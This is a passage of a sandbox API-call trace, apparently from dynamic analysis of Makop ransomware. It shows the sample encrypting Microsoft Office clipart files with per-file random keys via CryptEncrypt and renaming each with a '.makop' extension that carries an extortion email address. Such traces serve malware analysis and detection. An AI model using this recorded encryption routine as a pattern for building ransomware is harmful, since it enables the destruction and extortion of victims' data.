out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.999] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.999] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.999] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcbe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcbe, lpOverlapped=0x0) returned 1 [0133.000] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcc0) returned 1 [0133.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcc0, lpOverlapped=0x0) returned 1 [0133.000] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.000] SetEndOfFile (hFile=0xf0) returned 1 [0133.007] GetProcessHeap () returned 0x48a0000 [0133.008] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.008] GetProcessHeap () returned 0x48a0000 [0133.008] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.008] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.009] CloseHandle (hObject=0xf0) returned 1 [0133.010] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0133.010] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF") returned 63 [0133.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.011] GetProcessHeap () returned 0x48a0000 [0133.011] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.011] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0133.016] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.016] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.016] GetProcessHeap () returned 0x48a0000 [0133.016] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.016] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.016] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.016] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.016] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.017] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.017] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.017] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.017] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.017] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7b2, lpOverlapped=0x0) returned 1 [0133.017] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c0, dwBufLen=0x7c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c0) returned 1 [0133.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.018] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c0, lpOverlapped=0x0) returned 1 [0133.018] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.018] SetEndOfFile (hFile=0xf0) returned 1 [0133.025] GetProcessHeap () returned 0x48a0000 [0133.025] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.025] GetProcessHeap () returned 0x48a0000 [0133.025] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.025] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.027] CloseHandle (hObject=0xf0) returned 1 [0133.027] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0133.027] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF") returned 63 [0133.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.028] GetProcessHeap () returned 0x48a0000 [0133.028] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.028] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.028] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.033] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.033] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.033] GetProcessHeap () returned 0x48a0000 [0133.034] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.034] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.034] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.034] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.035] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.036] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.036] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.036] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7938, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7938, lpOverlapped=0x0) returned 1 [0133.038] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7940, dwBufLen=0x7940 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7940) returned 1 [0133.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.038] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7940, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7940, lpOverlapped=0x0) returned 1 [0133.039] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.039] SetEndOfFile (hFile=0xf0) returned 1 [0133.045] GetProcessHeap () returned 0x48a0000 [0133.045] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.045] GetProcessHeap () returned 0x48a0000 [0133.045] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.045] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.047] CloseHandle (hObject=0xf0) returned 1 [0133.047] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0133.047] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF") returned 63 [0133.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.048] GetProcessHeap () returned 0x48a0000 [0133.048] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.048] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.048] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.049] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.053] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.053] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.053] GetProcessHeap () returned 0x48a0000 [0133.053] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.053] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.054] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.054] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.054] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.054] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.054] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.054] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.055] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.055] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.055] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6958, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6958, lpOverlapped=0x0) returned 1 [0133.057] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6960, dwBufLen=0x6960 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6960) returned 1 [0133.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.057] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6960, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6960, lpOverlapped=0x0) returned 1 [0133.058] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.058] SetEndOfFile (hFile=0xf0) returned 1 [0133.066] GetProcessHeap () returned 0x48a0000 [0133.066] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.066] GetProcessHeap () returned 0x48a0000 [0133.066] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.067] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.068] CloseHandle (hObject=0xf0) returned 1 [0133.068] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0133.068] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF") returned 63 [0133.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.069] GetProcessHeap () returned 0x48a0000 [0133.069] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.069] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.076] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.077] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.077] GetProcessHeap () returned 0x48a0000 [0133.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.077] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.077] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.077] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, 